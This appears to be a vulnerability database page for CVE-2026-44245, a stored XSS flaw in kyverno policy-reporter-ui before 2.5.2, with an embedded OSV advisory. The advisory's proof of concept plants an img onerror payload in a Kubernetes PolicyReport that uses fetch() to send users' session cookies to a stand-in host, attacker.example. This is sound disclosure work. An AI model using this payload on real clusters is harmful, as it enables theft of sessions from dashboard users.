Vulnerabilities in pkg:golang/github.com/kyverno/policy-reporter-ui
PACKAGECVE-2026-44245 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/kyverno/policy reporter ui libraries in the Go ecosystem. The issue involves kyverno policy-reporter-ui has xss via stored property values in propertycard component. Remediation is available by upgrading affected packages to version 2.5.2.
pkg:golang/github.com/kyverno/policy-reporter-ui
Vulnerability advisories affecting package pkg:golang/github.com/kyverno/policy-reporter-ui. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-q98m-7w8c-w388 | CVE-2026-44245 | MODERATE | Kyverno policy-reporter-ui has XSS via Stored Property Values in PropertyCard Component |
CVE-2026-44245 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-44245
To remediate this vulnerability, upgrade all affected Github.com/kyverno/policy reporter ui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/kyverno/policy-reporter-ui to 2.5.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/kyverno/policy-reporter-ui
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-44245, inspect your project dependencies for Github.com/kyverno/policy reporter ui:
inspect dependencies for github.com/kyverno/policy-reporter-ui
Analyze the terminal output to locate any version of Github.com/kyverno/policy reporter ui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.5.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/kyverno/policy reporter ui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44245 Affected Github.com/kyverno/policy reporter ui Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/kyverno/policy-reporter-ui
|
Go |
< 2.5.2
|
2.5.2
|
References
Frequently Asked Questions
What is CVE-2026-44245?
Which Github.com/kyverno/policy reporter ui versions are affected?
What version fixes CVE-2026-44245?
Is github.com/kyverno/policy-reporter-ui affected?
What is the CVSS score of CVE-2026-44245?
What CWE is associated with CVE-2026-44245?
How can I check Go dependencies for CVE-2026-44245?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q98m-7w8c-w388",
"modified" : "2026-05-13T16:43:41Z",
"published" : "2026-05-06T22:11:14Z",
"aliases" : [ "CVE-2026-44245" ],
"summary" : "Kyverno policy-reporter-ui has XSS via Stored Property Values in PropertyCard Component",
"details" : "### Summary\nVue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes (e.g., `<img src=x onerror=alert(1)>` padded to exceed 75 chars) bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, confirming there is no compensating control between the API response and the sink.\n\nThis vulnerability was reproduced on the latest policy reporter UI version – 2.5.1.\n\n\n### PoC\n\nPrerequisites: Kubernetes write access to PolicyReport resources in the target cluster (e.g., via a policy engine service account or direct kubectl access)\n\nCreate a Kubernetes PolicyReport resource with a crafted property value longer than 75 characters. When an authenticated Policy Reporter UI user browses to the affected namespace and expands the result row containing this property, the injected script executes in their browser.\n```bash\nkubectl apply -f - <<'EOF'\napiVersion: [wgpolicyk8s.io/v1alpha2](http://wgpolicyk8s.io/v1alpha2)\nkind: PolicyReport\nmetadata:\n name: xss-poc\n namespace: default\nresults:\n- message: \"test\"\n policy: xss-test-policy\n rule: check-rule\n result: fail\n properties:\n # Value > 75 chars and not an http/https URL -> routed to v-html sink\n advisory: \"<img src=x onerror=\\\"fetch('[https://attacker.example/c?c='+document.cookie](https://attacker.example/c?c=%27+document.cookie))\\\"> padding padding padding\"\nEOF\n# Once a UI user opens the results table for the 'default' namespace\n# and expands the 'xss-test-policy' result row, the onerror handler fires\n# and exfiltrates their session cookies to attacker.example\n```\n<img width=\"1562\" height=\"1061\" alt=\"Снимок экрана — 2026-04-21 в 10 52 17\" src=\"https://github.com/user-attachments/assets/fe542ccb-1662-44cb-802f-7998aa145db7\" />\n<img width=\"1041\" height=\"939\" alt=\"Снимок экрана — 2026-04-21 в 10 51 44\" src=\"https://github.com/user-attachments/assets/bc07cf20-aea5-4a90-838f-c428d88a92b7\" />\n\n### Impact\nXSS",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/kyverno/policy-reporter-ui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.5.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.5.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-q98m-7w8c-w388"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44245"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/kyverno/kyverno"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T22:11:14Z",
"nvd_published_at" : "2026-05-12T23:16:18Z"
}
}